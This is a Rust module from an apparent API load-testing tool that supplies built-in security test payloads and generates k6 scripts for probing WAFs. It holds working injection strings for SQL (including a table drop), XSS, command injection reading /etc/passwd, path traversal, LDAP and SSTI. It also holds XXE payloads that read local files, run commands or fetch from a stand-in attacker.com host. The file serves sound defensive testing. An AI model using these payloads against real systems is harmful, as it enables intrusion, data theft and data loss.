Skip to main content

mockforge_bench/
security_payloads.rs

1//! Security testing payloads for load testing
2//!
3//! This module provides built-in security testing payloads for common
4//! vulnerability categories including SQL injection, XSS, command injection,
5//! and path traversal.
6
7use crate::error::{BenchError, Result};
8use serde::{Deserialize, Serialize};
9use std::collections::HashSet;
10use std::path::Path;
11
12/// Escape a string for safe use in a JavaScript single-quoted string literal.
13/// Handles all problematic characters including:
14/// - Backslashes, single quotes, newlines, carriage returns
15/// - Backticks (template literals)
16/// - Unicode line/paragraph separators (U+2028, U+2029)
17/// - Null bytes and other control characters
18pub fn escape_js_string(s: &str) -> String {
19    let mut result = String::with_capacity(s.len() * 2);
20    for c in s.chars() {
21        match c {
22            '\\' => result.push_str("\\\\"),
23            '\'' => result.push_str("\\'"),
24            '"' => result.push_str("\\\""),
25            '`' => result.push_str("\\`"),
26            '\n' => result.push_str("\\n"),
27            '\r' => result.push_str("\\r"),
28            '\t' => result.push_str("\\t"),
29            '\0' => result.push_str("\\0"),
30            // Unicode line separator
31            '\u{2028}' => result.push_str("\\u2028"),
32            // Unicode paragraph separator
33            '\u{2029}' => result.push_str("\\u2029"),
34            // Other control characters (0x00-0x1F except already handled)
35            c if c.is_control() => {
36                result.push_str(&format!("\\u{:04x}", c as u32));
37            }
38            c => result.push(c),
39        }
40    }
41    result
42}
43
44/// Security payload categories
45#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
46#[serde(rename_all = "kebab-case")]
47pub enum SecurityCategory {
48    /// SQL Injection payloads
49    SqlInjection,
50    /// Cross-Site Scripting (XSS) payloads
51    Xss,
52    /// Command Injection payloads
53    CommandInjection,
54    /// Path Traversal payloads
55    PathTraversal,
56    /// Server-Side Template Injection
57    Ssti,
58    /// LDAP Injection
59    LdapInjection,
60    /// XML External Entity (XXE)
61    Xxe,
62}
63
64impl std::fmt::Display for SecurityCategory {
65    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
66        match self {
67            Self::SqlInjection => write!(f, "sqli"),
68            Self::Xss => write!(f, "xss"),
69            Self::CommandInjection => write!(f, "command-injection"),
70            Self::PathTraversal => write!(f, "path-traversal"),
71            Self::Ssti => write!(f, "ssti"),
72            Self::LdapInjection => write!(f, "ldap-injection"),
73            Self::Xxe => write!(f, "xxe"),
74        }
75    }
76}
77
78impl std::str::FromStr for SecurityCategory {
79    type Err = String;
80
81    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
82        match s.to_lowercase().replace('_', "-").as_str() {
83            "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
84            "xss" | "cross-site-scripting" => Ok(Self::Xss),
85            "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
86            "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
87            "ssti" | "template-injection" => Ok(Self::Ssti),
88            "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
89            "xxe" | "xml-external-entity" => Ok(Self::Xxe),
90            _ => Err(format!("Unknown security category: '{}'", s)),
91        }
92    }
93}
94
95/// Where the payload should be injected
96#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
97#[serde(rename_all = "kebab-case")]
98pub enum PayloadLocation {
99    /// Payload in URI/query string (default for generic payloads)
100    #[default]
101    Uri,
102    /// Payload in HTTP header
103    Header,
104    /// Payload in request body
105    Body,
106}
107
108impl std::fmt::Display for PayloadLocation {
109    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
110        match self {
111            Self::Uri => write!(f, "uri"),
112            Self::Header => write!(f, "header"),
113            Self::Body => write!(f, "body"),
114        }
115    }
116}
117
118/// A security testing payload
119#[derive(Debug, Clone, Serialize, Deserialize)]
120pub struct SecurityPayload {
121    /// The payload string to inject
122    pub payload: String,
123    /// Category of the payload
124    pub category: SecurityCategory,
125    /// Description of what this payload tests
126    pub description: String,
127    /// Whether this is considered a high-risk payload
128    pub high_risk: bool,
129    /// Where to inject the payload (uri, header, body)
130    #[serde(default)]
131    pub location: PayloadLocation,
132    /// Header name if location is Header (e.g., "User-Agent", "Cookie")
133    #[serde(skip_serializing_if = "Option::is_none")]
134    pub header_name: Option<String>,
135    /// Group ID for multi-part payloads that must be sent together in one request
136    /// (e.g., CRS test cases with URI + headers + body parts)
137    #[serde(skip_serializing_if = "Option::is_none")]
138    pub group_id: Option<String>,
139}
140
141impl SecurityPayload {
142    /// Create a new security payload
143    pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
144        Self {
145            payload,
146            category,
147            description,
148            high_risk: false,
149            location: PayloadLocation::Uri,
150            header_name: None,
151            group_id: None,
152        }
153    }
154
155    /// Mark as high risk
156    pub fn high_risk(mut self) -> Self {
157        self.high_risk = true;
158        self
159    }
160
161    /// Set the injection location
162    pub fn with_location(mut self, location: PayloadLocation) -> Self {
163        self.location = location;
164        self
165    }
166
167    /// Set header name for header payloads
168    pub fn with_header_name(mut self, name: String) -> Self {
169        self.header_name = Some(name);
170        self
171    }
172
173    /// Set group ID for multi-part payloads that must be sent together
174    pub fn with_group_id(mut self, group_id: String) -> Self {
175        self.group_id = Some(group_id);
176        self
177    }
178}
179
180/// Configuration for security testing
181#[derive(Debug, Clone, Serialize, Deserialize)]
182pub struct SecurityTestConfig {
183    /// Whether security testing is enabled
184    pub enabled: bool,
185    /// Categories to test
186    pub categories: HashSet<SecurityCategory>,
187    /// Specific fields to target for injection
188    pub target_fields: Vec<String>,
189    /// Path to custom payloads file (extends built-in)
190    pub custom_payloads_file: Option<String>,
191    /// Whether to include high-risk payloads
192    pub include_high_risk: bool,
193}
194
195impl Default for SecurityTestConfig {
196    fn default() -> Self {
197        let mut categories = HashSet::new();
198        categories.insert(SecurityCategory::SqlInjection);
199        categories.insert(SecurityCategory::Xss);
200
201        Self {
202            enabled: false,
203            categories,
204            target_fields: Vec::new(),
205            custom_payloads_file: None,
206            include_high_risk: false,
207        }
208    }
209}
210
211impl SecurityTestConfig {
212    /// Enable security testing
213    pub fn enable(mut self) -> Self {
214        self.enabled = true;
215        self
216    }
217
218    /// Set categories to test
219    pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
220        self.categories = categories;
221        self
222    }
223
224    /// Set target fields
225    pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
226        self.target_fields = fields;
227        self
228    }
229
230    /// Set custom payloads file
231    pub fn with_custom_payloads(mut self, path: String) -> Self {
232        self.custom_payloads_file = Some(path);
233        self
234    }
235
236    /// Enable high-risk payloads
237    pub fn with_high_risk(mut self) -> Self {
238        self.include_high_risk = true;
239        self
240    }
241
242    /// Parse categories from a comma-separated string
243    pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
244        if s.is_empty() {
245            return Ok(HashSet::new());
246        }
247
248        s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
249    }
250}
251
252/// Built-in security payloads
253pub struct SecurityPayloads;
254
255impl SecurityPayloads {
256    /// Get SQL injection payloads
257    pub fn sql_injection() -> Vec<SecurityPayload> {
258        vec![
259            SecurityPayload::new(
260                "' OR '1'='1".to_string(),
261                SecurityCategory::SqlInjection,
262                "Basic SQL injection tautology".to_string(),
263            ),
264            SecurityPayload::new(
265                "' OR '1'='1' --".to_string(),
266                SecurityCategory::SqlInjection,
267                "SQL injection with comment".to_string(),
268            ),
269            SecurityPayload::new(
270                "'; DROP TABLE users; --".to_string(),
271                SecurityCategory::SqlInjection,
272                "SQL injection table drop attempt".to_string(),
273            )
274            .high_risk(),
275            SecurityPayload::new(
276                "' UNION SELECT * FROM users --".to_string(),
277                SecurityCategory::SqlInjection,
278                "SQL injection union-based data extraction".to_string(),
279            ),
280            SecurityPayload::new(
281                "1' AND '1'='1".to_string(),
282                SecurityCategory::SqlInjection,
283                "SQL injection boolean-based blind".to_string(),
284            ),
285            SecurityPayload::new(
286                "1; WAITFOR DELAY '0:0:5' --".to_string(),
287                SecurityCategory::SqlInjection,
288                "SQL injection time-based blind (MSSQL)".to_string(),
289            ),
290            SecurityPayload::new(
291                "1' AND SLEEP(5) --".to_string(),
292                SecurityCategory::SqlInjection,
293                "SQL injection time-based blind (MySQL)".to_string(),
294            ),
295        ]
296    }
297
298    /// Get XSS payloads
299    pub fn xss() -> Vec<SecurityPayload> {
300        vec![
301            SecurityPayload::new(
302                "<script>alert('XSS')</script>".to_string(),
303                SecurityCategory::Xss,
304                "Basic script tag XSS".to_string(),
305            ),
306            SecurityPayload::new(
307                "<img src=x onerror=alert('XSS')>".to_string(),
308                SecurityCategory::Xss,
309                "Image tag XSS with onerror".to_string(),
310            ),
311            SecurityPayload::new(
312                "<svg/onload=alert('XSS')>".to_string(),
313                SecurityCategory::Xss,
314                "SVG tag XSS with onload".to_string(),
315            ),
316            SecurityPayload::new(
317                "javascript:alert('XSS')".to_string(),
318                SecurityCategory::Xss,
319                "JavaScript protocol XSS".to_string(),
320            ),
321            SecurityPayload::new(
322                "<body onload=alert('XSS')>".to_string(),
323                SecurityCategory::Xss,
324                "Body tag XSS with onload".to_string(),
325            ),
326            SecurityPayload::new(
327                "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
328                SecurityCategory::Xss,
329                "XSS with character encoding".to_string(),
330            ),
331            SecurityPayload::new(
332                "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
333                SecurityCategory::Xss,
334                "CSS-based XSS".to_string(),
335            ),
336        ]
337    }
338
339    /// Get command injection payloads
340    pub fn command_injection() -> Vec<SecurityPayload> {
341        vec![
342            SecurityPayload::new(
343                "; ls -la".to_string(),
344                SecurityCategory::CommandInjection,
345                "Unix command injection with semicolon".to_string(),
346            ),
347            SecurityPayload::new(
348                "| cat /etc/passwd".to_string(),
349                SecurityCategory::CommandInjection,
350                "Unix command injection with pipe".to_string(),
351            )
352            .high_risk(),
353            SecurityPayload::new(
354                "$(cat /etc/passwd)".to_string(),
355                SecurityCategory::CommandInjection,
356                "Unix command substitution".to_string(),
357            )
358            .high_risk(),
359            SecurityPayload::new(
360                "`cat /etc/passwd`".to_string(),
361                SecurityCategory::CommandInjection,
362                "Unix backtick command execution".to_string(),
363            )
364            .high_risk(),
365            SecurityPayload::new(
366                "& dir".to_string(),
367                SecurityCategory::CommandInjection,
368                "Windows command injection".to_string(),
369            ),
370            SecurityPayload::new(
371                "|| ping -c 3 127.0.0.1".to_string(),
372                SecurityCategory::CommandInjection,
373                "Command injection with OR".to_string(),
374            ),
375            SecurityPayload::new(
376                "\n/bin/sh -c 'echo vulnerable'".to_string(),
377                SecurityCategory::CommandInjection,
378                "Newline-based command injection".to_string(),
379            ),
380        ]
381    }
382
383    /// Get path traversal payloads
384    pub fn path_traversal() -> Vec<SecurityPayload> {
385        vec![
386            SecurityPayload::new(
387                "../../../etc/passwd".to_string(),
388                SecurityCategory::PathTraversal,
389                "Basic path traversal".to_string(),
390            ),
391            SecurityPayload::new(
392                "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
393                SecurityCategory::PathTraversal,
394                "URL-encoded path traversal".to_string(),
395            ),
396            SecurityPayload::new(
397                "....//....//....//etc/passwd".to_string(),
398                SecurityCategory::PathTraversal,
399                "Double-dot path traversal bypass".to_string(),
400            ),
401            SecurityPayload::new(
402                "..%252f..%252f..%252fetc%252fpasswd".to_string(),
403                SecurityCategory::PathTraversal,
404                "Double URL-encoded path traversal".to_string(),
405            ),
406            SecurityPayload::new(
407                "/etc/passwd%00.jpg".to_string(),
408                SecurityCategory::PathTraversal,
409                "Null byte injection path traversal".to_string(),
410            ),
411            SecurityPayload::new(
412                "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
413                SecurityCategory::PathTraversal,
414                "Windows path traversal".to_string(),
415            ),
416        ]
417    }
418
419    /// Get SSTI payloads
420    pub fn ssti() -> Vec<SecurityPayload> {
421        vec![
422            SecurityPayload::new(
423                "{{7*7}}".to_string(),
424                SecurityCategory::Ssti,
425                "Jinja2/Twig SSTI detection".to_string(),
426            ),
427            SecurityPayload::new(
428                "${7*7}".to_string(),
429                SecurityCategory::Ssti,
430                "Freemarker SSTI detection".to_string(),
431            ),
432            SecurityPayload::new(
433                "<%= 7*7 %>".to_string(),
434                SecurityCategory::Ssti,
435                "ERB SSTI detection".to_string(),
436            ),
437            SecurityPayload::new(
438                "#{7*7}".to_string(),
439                SecurityCategory::Ssti,
440                "Ruby SSTI detection".to_string(),
441            ),
442        ]
443    }
444
445    /// Get LDAP injection payloads
446    pub fn ldap_injection() -> Vec<SecurityPayload> {
447        vec![
448            SecurityPayload::new(
449                "*".to_string(),
450                SecurityCategory::LdapInjection,
451                "LDAP wildcard - match all".to_string(),
452            ),
453            SecurityPayload::new(
454                "*)(&".to_string(),
455                SecurityCategory::LdapInjection,
456                "LDAP filter injection - close and inject".to_string(),
457            ),
458            SecurityPayload::new(
459                "*)(uid=*))(|(uid=*".to_string(),
460                SecurityCategory::LdapInjection,
461                "LDAP OR injection to bypass auth".to_string(),
462            ),
463            SecurityPayload::new(
464                "admin)(&)".to_string(),
465                SecurityCategory::LdapInjection,
466                "LDAP always true injection".to_string(),
467            ),
468            SecurityPayload::new(
469                "x)(|(objectClass=*".to_string(),
470                SecurityCategory::LdapInjection,
471                "LDAP objectClass enumeration".to_string(),
472            ),
473            SecurityPayload::new(
474                "*)(cn=*".to_string(),
475                SecurityCategory::LdapInjection,
476                "LDAP CN attribute injection".to_string(),
477            ),
478            SecurityPayload::new(
479                "*)%00".to_string(),
480                SecurityCategory::LdapInjection,
481                "LDAP null byte injection".to_string(),
482            ),
483            SecurityPayload::new(
484                "*))%00".to_string(),
485                SecurityCategory::LdapInjection,
486                "LDAP double close with null byte".to_string(),
487            ),
488        ]
489    }
490
491    /// Get XXE (XML External Entity) payloads
492    pub fn xxe() -> Vec<SecurityPayload> {
493        vec![
494            SecurityPayload::new(
495                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
496                SecurityCategory::Xxe,
497                "Basic XXE - read /etc/passwd".to_string(),
498            ).high_risk(),
499            SecurityPayload::new(
500                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
501                SecurityCategory::Xxe,
502                "Windows XXE - read win.ini".to_string(),
503            ).high_risk(),
504            SecurityPayload::new(
505                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
506                SecurityCategory::Xxe,
507                "XXE SSRF - external request".to_string(),
508            ).high_risk(),
509            SecurityPayload::new(
510                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
511                SecurityCategory::Xxe,
512                "External DTD XXE".to_string(),
513            ).high_risk(),
514            SecurityPayload::new(
515                r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
516                SecurityCategory::Xxe,
517                "PHP expect XXE - command execution".to_string(),
518            ).high_risk(),
519            SecurityPayload::new(
520                r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
521                SecurityCategory::Xxe,
522                "PHP filter XXE - base64 encoded read".to_string(),
523            ).high_risk(),
524            SecurityPayload::new(
525                r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY &#37; b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
526                SecurityCategory::Xxe,
527                "Parameter entity XXE".to_string(),
528            ).high_risk(),
529            SecurityPayload::new(
530                r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
531                SecurityCategory::Xxe,
532                "External DTD reference".to_string(),
533            ).high_risk(),
534        ]
535    }
536
537    /// Get all payloads for a specific category
538    pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
539        match category {
540            SecurityCategory::SqlInjection => Self::sql_injection(),
541            SecurityCategory::Xss => Self::xss(),
542            SecurityCategory::CommandInjection => Self::command_injection(),
543            SecurityCategory::PathTraversal => Self::path_traversal(),
544            SecurityCategory::Ssti => Self::ssti(),
545            SecurityCategory::LdapInjection => Self::ldap_injection(),
546            SecurityCategory::Xxe => Self::xxe(),
547        }
548    }
549
550    /// Get all payloads for configured categories
551    pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
552        let mut payloads: Vec<SecurityPayload> =
553            config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();
554
555        // Filter out high-risk if not included
556        if !config.include_high_risk {
557            payloads.retain(|p| !p.high_risk);
558        }
559
560        payloads
561    }
562
563    /// Load custom payloads from a file
564    pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
565        let content = std::fs::read_to_string(path)
566            .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;
567
568        serde_json::from_str(&content)
569            .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
570    }
571}
572
573/// Generates k6 JavaScript code for security testing
574pub struct SecurityTestGenerator;
575
576impl SecurityTestGenerator {
577    /// Generate k6 code for security payload selection
578    /// When cycle_all is true, payloads are cycled through sequentially instead of randomly
579    pub fn generate_payload_selection(payloads: &[SecurityPayload], cycle_all: bool) -> String {
580        let mut code = String::new();
581
582        code.push_str("// Security testing payloads\n");
583        code.push_str(&format!("// Total payloads: {}\n", payloads.len()));
584        code.push_str("const securityPayloads = [\n");
585
586        for payload in payloads {
587            // Escape the payload for JavaScript string literal
588            let escaped = escape_js_string(&payload.payload);
589            let escaped_desc = escape_js_string(&payload.description);
590            let header_name = payload
591                .header_name
592                .as_ref()
593                .map(|h| format!("'{}'", escape_js_string(h)))
594                .unwrap_or_else(|| "null".to_string());
595            let group_id = payload
596                .group_id
597                .as_ref()
598                .map(|g| format!("'{}'", escape_js_string(g)))
599                .unwrap_or_else(|| "null".to_string());
600
601            code.push_str(&format!(
602                "  {{ payload: '{}', category: '{}', description: '{}', location: '{}', headerName: {}, groupId: {} }},\n",
603                escaped, payload.category, escaped_desc, payload.location, header_name, group_id
604            ));
605        }
606
607        code.push_str("];\n\n");
608
609        // Build grouped payloads: entries sharing a groupId are collected together,
610        // ungrouped entries become single-element arrays
611        code.push_str(
612            "// Grouped payloads: multi-part test cases are sent together in one request\n",
613        );
614        code.push_str("const groupedPayloads = (function() {\n");
615        code.push_str("  const groups = [];\n");
616        code.push_str("  const groupMap = {};\n");
617        code.push_str("  for (const p of securityPayloads) {\n");
618        code.push_str("    if (p.groupId) {\n");
619        code.push_str("      if (!groupMap[p.groupId]) {\n");
620        code.push_str("        groupMap[p.groupId] = [];\n");
621        code.push_str("        groups.push(groupMap[p.groupId]);\n");
622        code.push_str("      }\n");
623        code.push_str("      groupMap[p.groupId].push(p);\n");
624        code.push_str("    } else {\n");
625        code.push_str("      groups.push([p]);\n");
626        code.push_str("    }\n");
627        code.push_str("  }\n");
628        code.push_str("  return groups;\n");
629        code.push_str("})();\n\n");
630
631        if cycle_all {
632            // Cycle through all payload groups sequentially
633            code.push_str("// Cycle through ALL payload groups sequentially\n");
634            code.push_str("// Each VU starts at a different offset based on its VU number for better payload distribution\n");
635            code.push_str("let __payloadIndex = (__VU - 1) % groupedPayloads.length;\n");
636            code.push_str("function getNextSecurityPayload() {\n");
637            code.push_str("  const group = groupedPayloads[__payloadIndex];\n");
638            code.push_str("  __payloadIndex = (__payloadIndex + 1) % groupedPayloads.length;\n");
639            code.push_str("  return group;\n");
640            code.push_str("}\n\n");
641        } else {
642            // Random selection (original behavior)
643            code.push_str("// Select random security payload group\n");
644            code.push_str("function getNextSecurityPayload() {\n");
645            code.push_str(
646                "  return groupedPayloads[Math.floor(Math.random() * groupedPayloads.length)];\n",
647            );
648            code.push_str("}\n\n");
649        }
650
651        code
652    }
653
654    /// Generate k6 code for applying security payload to request
655    pub fn generate_apply_payload(target_fields: &[String]) -> String {
656        let mut code = String::new();
657
658        code.push_str("// Apply security payload to request body\n");
659        code.push_str("// For POST/PUT/PATCH requests, inject ALL payloads into body for effective WAF testing\n");
660        code.push_str("// Injects into ALL string fields to maximize WAF detection surface area\n");
661        code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
662        code.push_str("  const result = { ...payload };\n");
663        code.push_str("  \n");
664
665        if target_fields.is_empty() {
666            code.push_str("  // No specific target fields - inject into ALL string fields for maximum coverage\n");
667            code.push_str(
668                "  // This ensures WAF can detect payloads regardless of which field it scans\n",
669            );
670            code.push_str("  const keys = Object.keys(result);\n");
671            code.push_str("  if (keys.length === 0 && secPayload.location === 'body') {\n");
672            code.push_str("    // Empty body object - add a test field with the payload\n");
673            code.push_str("    result.__test = secPayload.payload;\n");
674            code.push_str("  } else {\n");
675            code.push_str("    for (const key of keys) {\n");
676            code.push_str("      if (typeof result[key] === 'string') {\n");
677            code.push_str("        result[key] = secPayload.payload;\n");
678            code.push_str("      }\n");
679            code.push_str("    }\n");
680            code.push_str("  }\n");
681        } else {
682            code.push_str("  // Inject into specified target fields\n");
683            code.push_str("  for (const field of targetFields) {\n");
684            code.push_str("    if (result.hasOwnProperty(field)) {\n");
685            code.push_str("      result[field] = secPayload.payload;\n");
686            code.push_str("    }\n");
687            code.push_str("  }\n");
688        }
689
690        code.push_str("  \n");
691        code.push_str("  return result;\n");
692        code.push_str("}\n");
693
694        code
695    }
696
697    /// Generate k6 code for security test checks
698    pub fn generate_security_checks() -> String {
699        r#"// Security test response checks
700function checkSecurityResponse(res, expectedVulnerable) {
701  // Check for common vulnerability indicators
702  const body = res.body || '';
703
704  const vulnerabilityIndicators = [
705    // SQL injection
706    'SQL syntax',
707    'mysql_fetch',
708    'ORA-',
709    'PostgreSQL',
710
711    // Command injection
712    'root:',
713    '/bin/',
714    'uid=',
715
716    // Path traversal
717    '[extensions]',
718    'passwd',
719
720    // XSS (reflected)
721    '<script>alert',
722    'onerror=',
723
724    // Error disclosure
725    'stack trace',
726    'Exception',
727    'Error in',
728  ];
729
730  const foundIndicator = vulnerabilityIndicators.some(ind =>
731    body.toLowerCase().includes(ind.toLowerCase())
732  );
733
734  if (foundIndicator) {
735    console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
736    console.warn(`Category: ${securityPayload.category}`);
737    console.warn(`Status: ${res.status}`);
738  }
739
740  return check(res, {
741    'security test: no obvious vulnerability': () => !foundIndicator,
742    'security test: proper error handling': (r) => r.status < 500,
743  });
744}
745"#
746        .to_string()
747    }
748}
749
750#[cfg(test)]
751mod tests {
752    use super::*;
753    use std::str::FromStr;
754
755    #[test]
756    fn test_security_category_display() {
757        assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
758        assert_eq!(SecurityCategory::Xss.to_string(), "xss");
759        assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
760        assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
761    }
762
763    #[test]
764    fn test_security_category_from_str() {
765        assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
766        assert_eq!(
767            SecurityCategory::from_str("sql-injection").unwrap(),
768            SecurityCategory::SqlInjection
769        );
770        assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
771        assert_eq!(
772            SecurityCategory::from_str("command-injection").unwrap(),
773            SecurityCategory::CommandInjection
774        );
775    }
776
777    #[test]
778    fn test_security_category_from_str_invalid() {
779        assert!(SecurityCategory::from_str("invalid").is_err());
780    }
781
782    #[test]
783    fn test_security_test_config_default() {
784        let config = SecurityTestConfig::default();
785        assert!(!config.enabled);
786        assert!(config.categories.contains(&SecurityCategory::SqlInjection));
787        assert!(config.categories.contains(&SecurityCategory::Xss));
788        assert!(!config.include_high_risk);
789    }
790
791    #[test]
792    fn test_security_test_config_builders() {
793        let mut categories = HashSet::new();
794        categories.insert(SecurityCategory::CommandInjection);
795
796        let config = SecurityTestConfig::default()
797            .enable()
798            .with_categories(categories)
799            .with_target_fields(vec!["name".to_string()])
800            .with_high_risk();
801
802        assert!(config.enabled);
803        assert!(config.categories.contains(&SecurityCategory::CommandInjection));
804        assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
805        assert_eq!(config.target_fields, vec!["name"]);
806        assert!(config.include_high_risk);
807    }
808
809    #[test]
810    fn test_parse_categories() {
811        let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
812        assert_eq!(categories.len(), 3);
813        assert!(categories.contains(&SecurityCategory::SqlInjection));
814        assert!(categories.contains(&SecurityCategory::Xss));
815        assert!(categories.contains(&SecurityCategory::PathTraversal));
816    }
817
818    #[test]
819    fn test_sql_injection_payloads() {
820        let payloads = SecurityPayloads::sql_injection();
821        assert!(!payloads.is_empty());
822        assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
823        assert!(payloads.iter().any(|p| p.payload.contains("OR")));
824    }
825
826    #[test]
827    fn test_xss_payloads() {
828        let payloads = SecurityPayloads::xss();
829        assert!(!payloads.is_empty());
830        assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
831        assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
832    }
833
834    #[test]
835    fn test_command_injection_payloads() {
836        let payloads = SecurityPayloads::command_injection();
837        assert!(!payloads.is_empty());
838        assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
839    }
840
841    #[test]
842    fn test_path_traversal_payloads() {
843        let payloads = SecurityPayloads::path_traversal();
844        assert!(!payloads.is_empty());
845        assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
846        assert!(payloads.iter().any(|p| p.payload.contains("..")));
847    }
848
849    #[test]
850    fn test_get_payloads_filters_high_risk() {
851        let config = SecurityTestConfig::default();
852        let payloads = SecurityPayloads::get_payloads(&config);
853
854        // Should not include high-risk payloads by default
855        assert!(payloads.iter().all(|p| !p.high_risk));
856    }
857
858    #[test]
859    fn test_get_payloads_includes_high_risk() {
860        let config = SecurityTestConfig::default().with_high_risk();
861        let payloads = SecurityPayloads::get_payloads(&config);
862
863        // Should include some high-risk payloads
864        assert!(payloads.iter().any(|p| p.high_risk));
865    }
866
867    #[test]
868    fn test_generate_payload_selection_random() {
869        let payloads = vec![SecurityPayload::new(
870            "' OR '1'='1".to_string(),
871            SecurityCategory::SqlInjection,
872            "Basic SQLi".to_string(),
873        )];
874
875        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
876        assert!(code.contains("securityPayloads"));
877        assert!(code.contains("groupedPayloads"));
878        assert!(code.contains("OR"));
879        assert!(code.contains("Math.random()"));
880        assert!(code.contains("getNextSecurityPayload"));
881        // getNextSecurityPayload should return from groupedPayloads (arrays)
882        assert!(code.contains("groupedPayloads[Math.floor"));
883    }
884
885    #[test]
886    fn test_generate_payload_selection_cycle_all() {
887        let payloads = vec![SecurityPayload::new(
888            "' OR '1'='1".to_string(),
889            SecurityCategory::SqlInjection,
890            "Basic SQLi".to_string(),
891        )];
892
893        let code = SecurityTestGenerator::generate_payload_selection(&payloads, true);
894        assert!(code.contains("securityPayloads"));
895        assert!(code.contains("groupedPayloads"));
896        assert!(code.contains("Cycle through ALL payload groups"));
897        assert!(code.contains("__payloadIndex"));
898        assert!(code.contains("getNextSecurityPayload"));
899        assert!(!code.contains("Math.random()"));
900        // Verify VU-based offset for better payload distribution across VUs
901        assert!(
902            code.contains("(__VU - 1) % groupedPayloads.length"),
903            "Should use VU-based offset for payload distribution"
904        );
905    }
906
907    #[test]
908    fn test_generate_payload_selection_with_group_id() {
909        let payloads = vec![
910            SecurityPayload::new(
911                "/test?param=attack".to_string(),
912                SecurityCategory::SqlInjection,
913                "URI part".to_string(),
914            )
915            .with_group_id("942290-1".to_string()),
916            SecurityPayload::new(
917                "ModSecurity CRS 3 Tests".to_string(),
918                SecurityCategory::SqlInjection,
919                "Header part".to_string(),
920            )
921            .with_location(PayloadLocation::Header)
922            .with_header_name("User-Agent".to_string())
923            .with_group_id("942290-1".to_string()),
924        ];
925
926        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
927        assert!(code.contains("groupId: '942290-1'"), "Grouped payloads should have groupId set");
928        assert!(code.contains("groupedPayloads"), "Should emit groupedPayloads array-of-arrays");
929    }
930
931    #[test]
932    fn test_generate_payload_selection_ungrouped_null_group_id() {
933        let payloads = vec![SecurityPayload::new(
934            "' OR '1'='1".to_string(),
935            SecurityCategory::SqlInjection,
936            "Basic SQLi".to_string(),
937        )];
938
939        let code = SecurityTestGenerator::generate_payload_selection(&payloads, false);
940        assert!(code.contains("groupId: null"), "Ungrouped payloads should have groupId: null");
941    }
942
943    #[test]
944    fn test_generate_apply_payload_no_targets() {
945        let code = SecurityTestGenerator::generate_apply_payload(&[]);
946        assert!(code.contains("applySecurityPayload"));
947        assert!(code.contains("ALL string fields"));
948    }
949
950    #[test]
951    fn test_generate_apply_payload_with_targets() {
952        let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
953        assert!(code.contains("applySecurityPayload"));
954        assert!(code.contains("target fields"));
955    }
956
957    #[test]
958    fn test_generate_security_checks() {
959        let code = SecurityTestGenerator::generate_security_checks();
960        assert!(code.contains("checkSecurityResponse"));
961        assert!(code.contains("vulnerabilityIndicators"));
